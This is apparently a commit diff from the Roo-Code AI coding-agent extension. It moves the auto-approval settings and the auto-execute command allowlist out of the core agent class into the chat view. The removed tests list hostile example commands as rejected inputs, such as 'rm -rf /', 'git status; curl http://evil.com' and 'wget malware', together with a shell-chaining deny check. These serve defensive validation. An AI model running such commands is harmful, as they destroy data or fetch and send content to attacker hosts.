mirror of
https://github.com/pacnpal/Roo-Code.git
synced 2025-12-20 04:11:10 -05:00
Simplify auto-approving code and make it work better with browser actions (#21)
This commit is contained in:
@@ -116,15 +116,6 @@
|
|||||||
"when": "view == claude-dev.SidebarProvider"
|
"when": "view == claude-dev.SidebarProvider"
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
},
|
|
||||||
"configuration": {
|
|
||||||
"properties": {
|
|
||||||
"cline.alwaysAllowBrowser": {
|
|
||||||
"type": "boolean",
|
|
||||||
"default": false,
|
|
||||||
"description": "Always allow browser actions without requiring confirmation"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"scripts": {
|
"scripts": {
|
||||||
|
|||||||
@@ -56,16 +56,6 @@ type UserContent = Array<
|
|||||||
Anthropic.TextBlockParam | Anthropic.ImageBlockParam | Anthropic.ToolUseBlockParam | Anthropic.ToolResultBlockParam
|
Anthropic.TextBlockParam | Anthropic.ImageBlockParam | Anthropic.ToolUseBlockParam | Anthropic.ToolResultBlockParam
|
||||||
>
|
>
|
||||||
|
|
||||||
const ALLOWED_AUTO_EXECUTE_COMMANDS = [
|
|
||||||
'npm',
|
|
||||||
'npx',
|
|
||||||
'tsc',
|
|
||||||
'git log',
|
|
||||||
'git diff',
|
|
||||||
'git show',
|
|
||||||
'list'
|
|
||||||
] as const
|
|
||||||
|
|
||||||
export class Cline {
|
export class Cline {
|
||||||
readonly taskId: string
|
readonly taskId: string
|
||||||
api: ApiHandler
|
api: ApiHandler
|
||||||
@@ -74,10 +64,6 @@ export class Cline {
|
|||||||
private browserSession: BrowserSession
|
private browserSession: BrowserSession
|
||||||
private didEditFile: boolean = false
|
private didEditFile: boolean = false
|
||||||
customInstructions?: string
|
customInstructions?: string
|
||||||
alwaysAllowReadOnly: boolean
|
|
||||||
alwaysAllowWrite: boolean
|
|
||||||
alwaysAllowExecute: boolean
|
|
||||||
alwaysAllowBrowser: boolean
|
|
||||||
|
|
||||||
apiConversationHistory: Anthropic.MessageParam[] = []
|
apiConversationHistory: Anthropic.MessageParam[] = []
|
||||||
clineMessages: ClineMessage[] = []
|
clineMessages: ClineMessage[] = []
|
||||||
@@ -107,10 +93,6 @@ export class Cline {
|
|||||||
provider: ClineProvider,
|
provider: ClineProvider,
|
||||||
apiConfiguration: ApiConfiguration,
|
apiConfiguration: ApiConfiguration,
|
||||||
customInstructions?: string,
|
customInstructions?: string,
|
||||||
alwaysAllowReadOnly?: boolean,
|
|
||||||
alwaysAllowWrite?: boolean,
|
|
||||||
alwaysAllowExecute?: boolean,
|
|
||||||
alwaysAllowBrowser?: boolean,
|
|
||||||
task?: string,
|
task?: string,
|
||||||
images?: string[],
|
images?: string[],
|
||||||
historyItem?: HistoryItem,
|
historyItem?: HistoryItem,
|
||||||
@@ -122,10 +104,6 @@ export class Cline {
|
|||||||
this.browserSession = new BrowserSession(provider.context)
|
this.browserSession = new BrowserSession(provider.context)
|
||||||
this.diffViewProvider = new DiffViewProvider(cwd)
|
this.diffViewProvider = new DiffViewProvider(cwd)
|
||||||
this.customInstructions = customInstructions
|
this.customInstructions = customInstructions
|
||||||
this.alwaysAllowReadOnly = alwaysAllowReadOnly ?? false
|
|
||||||
this.alwaysAllowWrite = alwaysAllowWrite ?? false
|
|
||||||
this.alwaysAllowExecute = alwaysAllowExecute ?? false
|
|
||||||
this.alwaysAllowBrowser = alwaysAllowBrowser ?? false
|
|
||||||
|
|
||||||
if (historyItem) {
|
if (historyItem) {
|
||||||
this.taskId = historyItem.id
|
this.taskId = historyItem.id
|
||||||
@@ -138,25 +116,6 @@ export class Cline {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private isAllowedCommand(command?: string): boolean {
|
|
||||||
if (!command) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
// Check for command chaining characters
|
|
||||||
if (command.includes('&&') ||
|
|
||||||
command.includes(';') ||
|
|
||||||
command.includes('||') ||
|
|
||||||
command.includes('|') ||
|
|
||||||
command.includes('$(') ||
|
|
||||||
command.includes('`')) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
const trimmedCommand = command.trim().toLowerCase();
|
|
||||||
return ALLOWED_AUTO_EXECUTE_COMMANDS.some(prefix =>
|
|
||||||
trimmedCommand.startsWith(prefix.toLowerCase())
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Storing task to disk for history
|
// Storing task to disk for history
|
||||||
|
|
||||||
private async ensureTaskDirectoryExists(): Promise<string> {
|
private async ensureTaskDirectoryExists(): Promise<string> {
|
||||||
@@ -1101,11 +1060,7 @@ export class Cline {
|
|||||||
if (block.partial) {
|
if (block.partial) {
|
||||||
// update gui message
|
// update gui message
|
||||||
const partialMessage = JSON.stringify(sharedMessageProps)
|
const partialMessage = JSON.stringify(sharedMessageProps)
|
||||||
if (this.alwaysAllowWrite) {
|
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
||||||
await this.say("tool", partialMessage, undefined, block.partial)
|
|
||||||
} else {
|
|
||||||
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
|
||||||
}
|
|
||||||
// update editor
|
// update editor
|
||||||
if (!this.diffViewProvider.isEditing) {
|
if (!this.diffViewProvider.isEditing) {
|
||||||
// open the editor and prepare to stream content in
|
// open the editor and prepare to stream content in
|
||||||
@@ -1135,11 +1090,7 @@ export class Cline {
|
|||||||
if (!this.diffViewProvider.isEditing) {
|
if (!this.diffViewProvider.isEditing) {
|
||||||
// show gui message before showing edit animation
|
// show gui message before showing edit animation
|
||||||
const partialMessage = JSON.stringify(sharedMessageProps)
|
const partialMessage = JSON.stringify(sharedMessageProps)
|
||||||
if (this.alwaysAllowWrite) {
|
await this.ask("tool", partialMessage, true).catch(() => {}) // sending true for partial even though it's not a partial, this shows the edit row before the content is streamed into the editor
|
||||||
await this.say("tool", partialMessage, undefined, true)
|
|
||||||
} else {
|
|
||||||
await this.ask("tool", partialMessage, true).catch(() => {}) // sending true for partial even though it's not a partial, this shows the edit row before the content is streamed into the editor
|
|
||||||
}
|
|
||||||
await this.diffViewProvider.open(relPath)
|
await this.diffViewProvider.open(relPath)
|
||||||
}
|
}
|
||||||
await this.diffViewProvider.update(newContent, true)
|
await this.diffViewProvider.update(newContent, true)
|
||||||
@@ -1158,7 +1109,7 @@ export class Cline {
|
|||||||
)
|
)
|
||||||
: undefined,
|
: undefined,
|
||||||
} satisfies ClineSayTool)
|
} satisfies ClineSayTool)
|
||||||
const didApprove = this.alwaysAllowWrite || (await askApproval("tool", completeMessage))
|
const didApprove = await askApproval("tool", completeMessage)
|
||||||
if (!didApprove) {
|
if (!didApprove) {
|
||||||
await this.diffViewProvider.revertChanges()
|
await this.diffViewProvider.revertChanges()
|
||||||
break
|
break
|
||||||
@@ -1211,11 +1162,7 @@ export class Cline {
|
|||||||
...sharedMessageProps,
|
...sharedMessageProps,
|
||||||
content: undefined,
|
content: undefined,
|
||||||
} satisfies ClineSayTool)
|
} satisfies ClineSayTool)
|
||||||
if (this.alwaysAllowReadOnly) {
|
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
||||||
await this.say("tool", partialMessage, undefined, block.partial)
|
|
||||||
} else {
|
|
||||||
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
|
||||||
}
|
|
||||||
break
|
break
|
||||||
} else {
|
} else {
|
||||||
if (!relPath) {
|
if (!relPath) {
|
||||||
@@ -1229,13 +1176,9 @@ export class Cline {
|
|||||||
...sharedMessageProps,
|
...sharedMessageProps,
|
||||||
content: absolutePath,
|
content: absolutePath,
|
||||||
} satisfies ClineSayTool)
|
} satisfies ClineSayTool)
|
||||||
if (this.alwaysAllowReadOnly) {
|
const didApprove = await askApproval("tool", completeMessage)
|
||||||
await this.say("tool", completeMessage, undefined, false) // need to be sending partialValue bool, since undefined has its own purpose in that the message is treated neither as a partial or completion of a partial, but as a single complete message
|
if (!didApprove) {
|
||||||
} else {
|
break
|
||||||
const didApprove = await askApproval("tool", completeMessage)
|
|
||||||
if (!didApprove) {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
// now execute the tool like normal
|
// now execute the tool like normal
|
||||||
const content = await extractTextFromFile(absolutePath)
|
const content = await extractTextFromFile(absolutePath)
|
||||||
@@ -1261,11 +1204,7 @@ export class Cline {
|
|||||||
...sharedMessageProps,
|
...sharedMessageProps,
|
||||||
content: "",
|
content: "",
|
||||||
} satisfies ClineSayTool)
|
} satisfies ClineSayTool)
|
||||||
if (this.alwaysAllowReadOnly) {
|
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
||||||
await this.say("tool", partialMessage, undefined, block.partial)
|
|
||||||
} else {
|
|
||||||
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
|
||||||
}
|
|
||||||
break
|
break
|
||||||
} else {
|
} else {
|
||||||
if (!relDirPath) {
|
if (!relDirPath) {
|
||||||
@@ -1281,13 +1220,9 @@ export class Cline {
|
|||||||
...sharedMessageProps,
|
...sharedMessageProps,
|
||||||
content: result,
|
content: result,
|
||||||
} satisfies ClineSayTool)
|
} satisfies ClineSayTool)
|
||||||
if (this.alwaysAllowReadOnly) {
|
const didApprove = await askApproval("tool", completeMessage)
|
||||||
await this.say("tool", completeMessage, undefined, false)
|
if (!didApprove) {
|
||||||
} else {
|
break
|
||||||
const didApprove = await askApproval("tool", completeMessage)
|
|
||||||
if (!didApprove) {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
pushToolResult(result)
|
pushToolResult(result)
|
||||||
break
|
break
|
||||||
@@ -1309,11 +1244,7 @@ export class Cline {
|
|||||||
...sharedMessageProps,
|
...sharedMessageProps,
|
||||||
content: "",
|
content: "",
|
||||||
} satisfies ClineSayTool)
|
} satisfies ClineSayTool)
|
||||||
if (this.alwaysAllowReadOnly) {
|
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
||||||
await this.say("tool", partialMessage, undefined, block.partial)
|
|
||||||
} else {
|
|
||||||
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
|
||||||
}
|
|
||||||
break
|
break
|
||||||
} else {
|
} else {
|
||||||
if (!relDirPath) {
|
if (!relDirPath) {
|
||||||
@@ -1330,13 +1261,9 @@ export class Cline {
|
|||||||
...sharedMessageProps,
|
...sharedMessageProps,
|
||||||
content: result,
|
content: result,
|
||||||
} satisfies ClineSayTool)
|
} satisfies ClineSayTool)
|
||||||
if (this.alwaysAllowReadOnly) {
|
const didApprove = await askApproval("tool", completeMessage)
|
||||||
await this.say("tool", completeMessage, undefined, false)
|
if (!didApprove) {
|
||||||
} else {
|
break
|
||||||
const didApprove = await askApproval("tool", completeMessage)
|
|
||||||
if (!didApprove) {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
pushToolResult(result)
|
pushToolResult(result)
|
||||||
break
|
break
|
||||||
@@ -1362,11 +1289,7 @@ export class Cline {
|
|||||||
...sharedMessageProps,
|
...sharedMessageProps,
|
||||||
content: "",
|
content: "",
|
||||||
} satisfies ClineSayTool)
|
} satisfies ClineSayTool)
|
||||||
if (this.alwaysAllowReadOnly) {
|
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
||||||
await this.say("tool", partialMessage, undefined, block.partial)
|
|
||||||
} else {
|
|
||||||
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
|
||||||
}
|
|
||||||
break
|
break
|
||||||
} else {
|
} else {
|
||||||
if (!relDirPath) {
|
if (!relDirPath) {
|
||||||
@@ -1386,13 +1309,9 @@ export class Cline {
|
|||||||
...sharedMessageProps,
|
...sharedMessageProps,
|
||||||
content: results,
|
content: results,
|
||||||
} satisfies ClineSayTool)
|
} satisfies ClineSayTool)
|
||||||
if (this.alwaysAllowReadOnly) {
|
const didApprove = await askApproval("tool", completeMessage)
|
||||||
await this.say("tool", completeMessage, undefined, false)
|
if (!didApprove) {
|
||||||
} else {
|
break
|
||||||
const didApprove = await askApproval("tool", completeMessage)
|
|
||||||
if (!didApprove) {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
pushToolResult(results)
|
pushToolResult(results)
|
||||||
break
|
break
|
||||||
@@ -1421,24 +1340,11 @@ export class Cline {
|
|||||||
try {
|
try {
|
||||||
if (block.partial) {
|
if (block.partial) {
|
||||||
if (action === "launch") {
|
if (action === "launch") {
|
||||||
if (this.alwaysAllowBrowser) {
|
await this.ask(
|
||||||
await this.say(
|
"browser_action_launch",
|
||||||
"browser_action",
|
removeClosingTag("url", url),
|
||||||
JSON.stringify({
|
block.partial
|
||||||
action: action as BrowserAction,
|
).catch(() => {})
|
||||||
coordinate: undefined,
|
|
||||||
text: undefined
|
|
||||||
} satisfies ClineSayBrowserAction),
|
|
||||||
undefined,
|
|
||||||
block.partial
|
|
||||||
)
|
|
||||||
} else {
|
|
||||||
await this.ask(
|
|
||||||
"browser_action_launch",
|
|
||||||
removeClosingTag("url", url),
|
|
||||||
block.partial
|
|
||||||
).catch(() => {})
|
|
||||||
}
|
|
||||||
} else {
|
} else {
|
||||||
await this.say(
|
await this.say(
|
||||||
"browser_action",
|
"browser_action",
|
||||||
@@ -1464,7 +1370,7 @@ export class Cline {
|
|||||||
break
|
break
|
||||||
}
|
}
|
||||||
this.consecutiveMistakeCount = 0
|
this.consecutiveMistakeCount = 0
|
||||||
const didApprove = this.alwaysAllowBrowser || await askApproval("browser_action_launch", url)
|
const didApprove = await askApproval("browser_action_launch", url)
|
||||||
if (!didApprove) {
|
if (!didApprove) {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -1565,13 +1471,9 @@ export class Cline {
|
|||||||
const command: string | undefined = block.params.command
|
const command: string | undefined = block.params.command
|
||||||
try {
|
try {
|
||||||
if (block.partial) {
|
if (block.partial) {
|
||||||
if (this.alwaysAllowExecute && this.isAllowedCommand(command)) {
|
await this.ask("command", removeClosingTag("command", command), block.partial).catch(
|
||||||
await this.say("command", command, undefined, block.partial)
|
() => {}
|
||||||
} else {
|
)
|
||||||
await this.ask("command", removeClosingTag("command", command), block.partial).catch(
|
|
||||||
() => {}
|
|
||||||
)
|
|
||||||
}
|
|
||||||
break
|
break
|
||||||
} else {
|
} else {
|
||||||
if (!command) {
|
if (!command) {
|
||||||
@@ -1583,8 +1485,7 @@ export class Cline {
|
|||||||
}
|
}
|
||||||
this.consecutiveMistakeCount = 0
|
this.consecutiveMistakeCount = 0
|
||||||
|
|
||||||
const didApprove = (this.alwaysAllowExecute && this.isAllowedCommand(command)) ||
|
const didApprove = await askApproval("command", command)
|
||||||
(await askApproval("command", command))
|
|
||||||
if (!didApprove) {
|
if (!didApprove) {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -231,40 +231,14 @@ describe('Cline', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
describe('constructor', () => {
|
describe('constructor', () => {
|
||||||
it('should initialize with default settings', () => {
|
|
||||||
const cline = new Cline(
|
|
||||||
mockProvider,
|
|
||||||
mockApiConfig,
|
|
||||||
undefined, // customInstructions
|
|
||||||
undefined, // alwaysAllowReadOnly
|
|
||||||
undefined, // alwaysAllowWrite
|
|
||||||
undefined, // alwaysAllowExecute
|
|
||||||
undefined, // alwaysAllowBrowser
|
|
||||||
'test task'
|
|
||||||
);
|
|
||||||
|
|
||||||
expect(cline.alwaysAllowReadOnly).toBe(false);
|
|
||||||
expect(cline.alwaysAllowWrite).toBe(false);
|
|
||||||
expect(cline.alwaysAllowExecute).toBe(false);
|
|
||||||
expect(cline.alwaysAllowBrowser).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('should respect provided settings', () => {
|
it('should respect provided settings', () => {
|
||||||
const cline = new Cline(
|
const cline = new Cline(
|
||||||
mockProvider,
|
mockProvider,
|
||||||
mockApiConfig,
|
mockApiConfig,
|
||||||
'custom instructions',
|
'custom instructions',
|
||||||
true, // alwaysAllowReadOnly
|
|
||||||
true, // alwaysAllowWrite
|
|
||||||
true, // alwaysAllowExecute
|
|
||||||
true, // alwaysAllowBrowser
|
|
||||||
'test task'
|
'test task'
|
||||||
);
|
);
|
||||||
|
|
||||||
expect(cline.alwaysAllowReadOnly).toBe(true);
|
|
||||||
expect(cline.alwaysAllowWrite).toBe(true);
|
|
||||||
expect(cline.alwaysAllowExecute).toBe(true);
|
|
||||||
expect(cline.alwaysAllowBrowser).toBe(true);
|
|
||||||
expect(cline.customInstructions).toBe('custom instructions');
|
expect(cline.customInstructions).toBe('custom instructions');
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -277,142 +251,4 @@ describe('Cline', () => {
|
|||||||
}).toThrow('Either historyItem or task/images must be provided');
|
}).toThrow('Either historyItem or task/images must be provided');
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('file operations', () => {
|
|
||||||
let cline: Cline;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
cline = new Cline(
|
|
||||||
mockProvider,
|
|
||||||
mockApiConfig,
|
|
||||||
undefined,
|
|
||||||
false,
|
|
||||||
false,
|
|
||||||
false,
|
|
||||||
false,
|
|
||||||
'test task'
|
|
||||||
);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('should bypass approval when alwaysAllowWrite is true', async () => {
|
|
||||||
const writeEnabledCline = new Cline(
|
|
||||||
mockProvider,
|
|
||||||
mockApiConfig,
|
|
||||||
undefined,
|
|
||||||
false,
|
|
||||||
true, // alwaysAllowWrite
|
|
||||||
false,
|
|
||||||
false,
|
|
||||||
'test task'
|
|
||||||
);
|
|
||||||
|
|
||||||
expect(writeEnabledCline.alwaysAllowWrite).toBe(true);
|
|
||||||
// The write operation would bypass approval in actual implementation
|
|
||||||
});
|
|
||||||
|
|
||||||
it('should require approval when alwaysAllowWrite is false', async () => {
|
|
||||||
const writeDisabledCline = new Cline(
|
|
||||||
mockProvider,
|
|
||||||
mockApiConfig,
|
|
||||||
undefined,
|
|
||||||
false,
|
|
||||||
false, // alwaysAllowWrite
|
|
||||||
false,
|
|
||||||
false,
|
|
||||||
'test task'
|
|
||||||
);
|
|
||||||
|
|
||||||
expect(writeDisabledCline.alwaysAllowWrite).toBe(false);
|
|
||||||
// The write operation would require approval in actual implementation
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('isAllowedCommand', () => {
|
|
||||||
let cline: any
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
// Create a more complete mock provider
|
|
||||||
const mockProvider = {
|
|
||||||
context: {
|
|
||||||
globalStorageUri: { fsPath: '/mock/path' }
|
|
||||||
},
|
|
||||||
postStateToWebview: jest.fn(),
|
|
||||||
postMessageToWebview: jest.fn(),
|
|
||||||
updateTaskHistory: jest.fn()
|
|
||||||
}
|
|
||||||
|
|
||||||
// Mock the required dependencies
|
|
||||||
const mockApiConfig = {
|
|
||||||
getModel: () => ({
|
|
||||||
id: 'claude-3-sonnet',
|
|
||||||
info: { supportsComputerUse: true }
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// Create test instance with mocked constructor params
|
|
||||||
cline = new Cline(
|
|
||||||
mockProvider as any,
|
|
||||||
mockApiConfig as any,
|
|
||||||
undefined, // customInstructions
|
|
||||||
false, // alwaysAllowReadOnly
|
|
||||||
false, // alwaysAllowWrite
|
|
||||||
false, // alwaysAllowExecute
|
|
||||||
false, // alwaysAllowBrowser
|
|
||||||
'test task' // task
|
|
||||||
)
|
|
||||||
|
|
||||||
// Mock internal methods that are called during initialization
|
|
||||||
cline.initiateTaskLoop = jest.fn()
|
|
||||||
cline.say = jest.fn()
|
|
||||||
cline.addToClineMessages = jest.fn()
|
|
||||||
cline.overwriteClineMessages = jest.fn()
|
|
||||||
cline.addToApiConversationHistory = jest.fn()
|
|
||||||
cline.overwriteApiConversationHistory = jest.fn()
|
|
||||||
})
|
|
||||||
|
|
||||||
test('returns true for allowed commands', () => {
|
|
||||||
expect(cline.isAllowedCommand('npm install')).toBe(true)
|
|
||||||
expect(cline.isAllowedCommand('npx create-react-app')).toBe(true)
|
|
||||||
expect(cline.isAllowedCommand('tsc --watch')).toBe(true)
|
|
||||||
expect(cline.isAllowedCommand('git log --oneline')).toBe(true)
|
|
||||||
expect(cline.isAllowedCommand('git diff main')).toBe(true)
|
|
||||||
})
|
|
||||||
|
|
||||||
test('returns true regardless of case or whitespace', () => {
|
|
||||||
expect(cline.isAllowedCommand('NPM install')).toBe(true)
|
|
||||||
expect(cline.isAllowedCommand(' npm install')).toBe(true)
|
|
||||||
expect(cline.isAllowedCommand('GIT DIFF')).toBe(true)
|
|
||||||
})
|
|
||||||
|
|
||||||
test('returns false for non-allowed commands', () => {
|
|
||||||
expect(cline.isAllowedCommand('rm -rf /')).toBe(false)
|
|
||||||
expect(cline.isAllowedCommand('git push')).toBe(false)
|
|
||||||
expect(cline.isAllowedCommand('git commit')).toBe(false)
|
|
||||||
expect(cline.isAllowedCommand('curl http://example.com')).toBe(false)
|
|
||||||
})
|
|
||||||
|
|
||||||
test('returns false for undefined or empty commands', () => {
|
|
||||||
expect(cline.isAllowedCommand()).toBe(false)
|
|
||||||
expect(cline.isAllowedCommand('')).toBe(false)
|
|
||||||
expect(cline.isAllowedCommand(' ')).toBe(false)
|
|
||||||
})
|
|
||||||
|
|
||||||
test('returns false for commands with chaining operators', () => {
|
|
||||||
const maliciousCommands = [
|
|
||||||
'npm install && rm -rf /',
|
|
||||||
'git status; dangerous-command',
|
|
||||||
'git log || evil-script',
|
|
||||||
'git status | malicious-pipe',
|
|
||||||
'git log $(evil-command)',
|
|
||||||
'git status `rm -rf /`',
|
|
||||||
'npm install && echo "malicious"',
|
|
||||||
'git status; curl http://evil.com',
|
|
||||||
'tsc --watch || wget malware',
|
|
||||||
];
|
|
||||||
|
|
||||||
maliciousCommands.forEach(cmd => {
|
|
||||||
expect(cline.isAllowedCommand(cmd)).toBe(false);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
})
|
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -197,20 +197,12 @@ export class ClineProvider implements vscode.WebviewViewProvider {
|
|||||||
const {
|
const {
|
||||||
apiConfiguration,
|
apiConfiguration,
|
||||||
customInstructions,
|
customInstructions,
|
||||||
alwaysAllowReadOnly,
|
|
||||||
alwaysAllowWrite,
|
|
||||||
alwaysAllowExecute,
|
|
||||||
alwaysAllowBrowser
|
|
||||||
} = await this.getState()
|
} = await this.getState()
|
||||||
|
|
||||||
this.cline = new Cline(
|
this.cline = new Cline(
|
||||||
this,
|
this,
|
||||||
apiConfiguration,
|
apiConfiguration,
|
||||||
customInstructions,
|
customInstructions,
|
||||||
alwaysAllowReadOnly,
|
|
||||||
alwaysAllowWrite,
|
|
||||||
alwaysAllowExecute,
|
|
||||||
alwaysAllowBrowser,
|
|
||||||
task,
|
task,
|
||||||
images
|
images
|
||||||
)
|
)
|
||||||
@@ -221,20 +213,12 @@ export class ClineProvider implements vscode.WebviewViewProvider {
|
|||||||
const {
|
const {
|
||||||
apiConfiguration,
|
apiConfiguration,
|
||||||
customInstructions,
|
customInstructions,
|
||||||
alwaysAllowReadOnly,
|
|
||||||
alwaysAllowWrite,
|
|
||||||
alwaysAllowExecute,
|
|
||||||
alwaysAllowBrowser
|
|
||||||
} = await this.getState()
|
} = await this.getState()
|
||||||
|
|
||||||
this.cline = new Cline(
|
this.cline = new Cline(
|
||||||
this,
|
this,
|
||||||
apiConfiguration,
|
apiConfiguration,
|
||||||
customInstructions,
|
customInstructions,
|
||||||
alwaysAllowReadOnly,
|
|
||||||
alwaysAllowWrite,
|
|
||||||
alwaysAllowExecute,
|
|
||||||
alwaysAllowBrowser,
|
|
||||||
undefined,
|
undefined,
|
||||||
undefined,
|
undefined,
|
||||||
historyItem,
|
historyItem,
|
||||||
@@ -440,23 +424,18 @@ export class ClineProvider implements vscode.WebviewViewProvider {
|
|||||||
break
|
break
|
||||||
case "alwaysAllowReadOnly":
|
case "alwaysAllowReadOnly":
|
||||||
await this.updateGlobalState("alwaysAllowReadOnly", message.bool ?? undefined)
|
await this.updateGlobalState("alwaysAllowReadOnly", message.bool ?? undefined)
|
||||||
if (this.cline) {
|
|
||||||
this.cline.alwaysAllowReadOnly = message.bool ?? false
|
|
||||||
}
|
|
||||||
await this.postStateToWebview()
|
await this.postStateToWebview()
|
||||||
break
|
break
|
||||||
case "alwaysAllowWrite":
|
case "alwaysAllowWrite":
|
||||||
await this.updateGlobalState("alwaysAllowWrite", message.bool ?? undefined)
|
await this.updateGlobalState("alwaysAllowWrite", message.bool ?? undefined)
|
||||||
if (this.cline) {
|
|
||||||
this.cline.alwaysAllowWrite = message.bool ?? false
|
|
||||||
}
|
|
||||||
await this.postStateToWebview()
|
await this.postStateToWebview()
|
||||||
break
|
break
|
||||||
case "alwaysAllowExecute":
|
case "alwaysAllowExecute":
|
||||||
await this.updateGlobalState("alwaysAllowExecute", message.bool ?? undefined)
|
await this.updateGlobalState("alwaysAllowExecute", message.bool ?? undefined)
|
||||||
if (this.cline) {
|
await this.postStateToWebview()
|
||||||
this.cline.alwaysAllowExecute = message.bool ?? false
|
break
|
||||||
}
|
case "alwaysAllowBrowser":
|
||||||
|
await this.updateGlobalState("alwaysAllowBrowser", message.bool ?? undefined)
|
||||||
await this.postStateToWebview()
|
await this.postStateToWebview()
|
||||||
break
|
break
|
||||||
case "askResponse":
|
case "askResponse":
|
||||||
@@ -530,13 +509,6 @@ export class ClineProvider implements vscode.WebviewViewProvider {
|
|||||||
// await this.postStateToWebview() // new Cline instance will post state when it's ready. having this here sent an empty messages array to webview leading to virtuoso having to reload the entire list
|
// await this.postStateToWebview() // new Cline instance will post state when it's ready. having this here sent an empty messages array to webview leading to virtuoso having to reload the entire list
|
||||||
}
|
}
|
||||||
|
|
||||||
break
|
|
||||||
case "alwaysAllowBrowser":
|
|
||||||
await this.updateGlobalState("alwaysAllowBrowser", message.bool ?? undefined)
|
|
||||||
if (this.cline) {
|
|
||||||
this.cline.alwaysAllowBrowser = message.bool ?? false
|
|
||||||
}
|
|
||||||
await this.postStateToWebview()
|
|
||||||
break
|
break
|
||||||
// Add more switch case statements here as more webview message commands
|
// Add more switch case statements here as more webview message commands
|
||||||
// are created within the webview context (i.e. inside media/main.js)
|
// are created within the webview context (i.e. inside media/main.js)
|
||||||
@@ -840,12 +812,12 @@ export class ClineProvider implements vscode.WebviewViewProvider {
|
|||||||
const {
|
const {
|
||||||
apiConfiguration,
|
apiConfiguration,
|
||||||
lastShownAnnouncementId,
|
lastShownAnnouncementId,
|
||||||
customInstructions,
|
customInstructions,
|
||||||
alwaysAllowReadOnly,
|
alwaysAllowReadOnly,
|
||||||
alwaysAllowWrite,
|
alwaysAllowWrite,
|
||||||
alwaysAllowExecute,
|
alwaysAllowExecute,
|
||||||
alwaysAllowBrowser,
|
alwaysAllowBrowser,
|
||||||
taskHistory
|
taskHistory,
|
||||||
} = await this.getState()
|
} = await this.getState()
|
||||||
|
|
||||||
return {
|
return {
|
||||||
@@ -947,8 +919,8 @@ export class ClineProvider implements vscode.WebviewViewProvider {
|
|||||||
alwaysAllowReadOnly,
|
alwaysAllowReadOnly,
|
||||||
alwaysAllowWrite,
|
alwaysAllowWrite,
|
||||||
alwaysAllowExecute,
|
alwaysAllowExecute,
|
||||||
taskHistory,
|
|
||||||
alwaysAllowBrowser,
|
alwaysAllowBrowser,
|
||||||
|
taskHistory,
|
||||||
] = await Promise.all([
|
] = await Promise.all([
|
||||||
this.getGlobalState("apiProvider") as Promise<ApiProvider | undefined>,
|
this.getGlobalState("apiProvider") as Promise<ApiProvider | undefined>,
|
||||||
this.getGlobalState("apiModelId") as Promise<string | undefined>,
|
this.getGlobalState("apiModelId") as Promise<string | undefined>,
|
||||||
@@ -979,8 +951,8 @@ export class ClineProvider implements vscode.WebviewViewProvider {
|
|||||||
this.getGlobalState("alwaysAllowReadOnly") as Promise<boolean | undefined>,
|
this.getGlobalState("alwaysAllowReadOnly") as Promise<boolean | undefined>,
|
||||||
this.getGlobalState("alwaysAllowWrite") as Promise<boolean | undefined>,
|
this.getGlobalState("alwaysAllowWrite") as Promise<boolean | undefined>,
|
||||||
this.getGlobalState("alwaysAllowExecute") as Promise<boolean | undefined>,
|
this.getGlobalState("alwaysAllowExecute") as Promise<boolean | undefined>,
|
||||||
this.getGlobalState("taskHistory") as Promise<HistoryItem[] | undefined>,
|
|
||||||
this.getGlobalState("alwaysAllowBrowser") as Promise<boolean | undefined>,
|
this.getGlobalState("alwaysAllowBrowser") as Promise<boolean | undefined>,
|
||||||
|
this.getGlobalState("taskHistory") as Promise<HistoryItem[] | undefined>,
|
||||||
])
|
])
|
||||||
|
|
||||||
let apiProvider: ApiProvider
|
let apiProvider: ApiProvider
|
||||||
|
|||||||
@@ -34,8 +34,18 @@ interface ChatViewProps {
|
|||||||
|
|
||||||
export const MAX_IMAGES_PER_MESSAGE = 20 // Anthropic limits to 20 images
|
export const MAX_IMAGES_PER_MESSAGE = 20 // Anthropic limits to 20 images
|
||||||
|
|
||||||
|
const ALLOWED_AUTO_EXECUTE_COMMANDS = [
|
||||||
|
'npm',
|
||||||
|
'npx',
|
||||||
|
'tsc',
|
||||||
|
'git log',
|
||||||
|
'git diff',
|
||||||
|
'git show',
|
||||||
|
'ls'
|
||||||
|
] as const
|
||||||
|
|
||||||
const ChatView = ({ isHidden, showAnnouncement, hideAnnouncement, showHistoryView }: ChatViewProps) => {
|
const ChatView = ({ isHidden, showAnnouncement, hideAnnouncement, showHistoryView }: ChatViewProps) => {
|
||||||
const { version, clineMessages: messages, taskHistory, apiConfiguration } = useExtensionState()
|
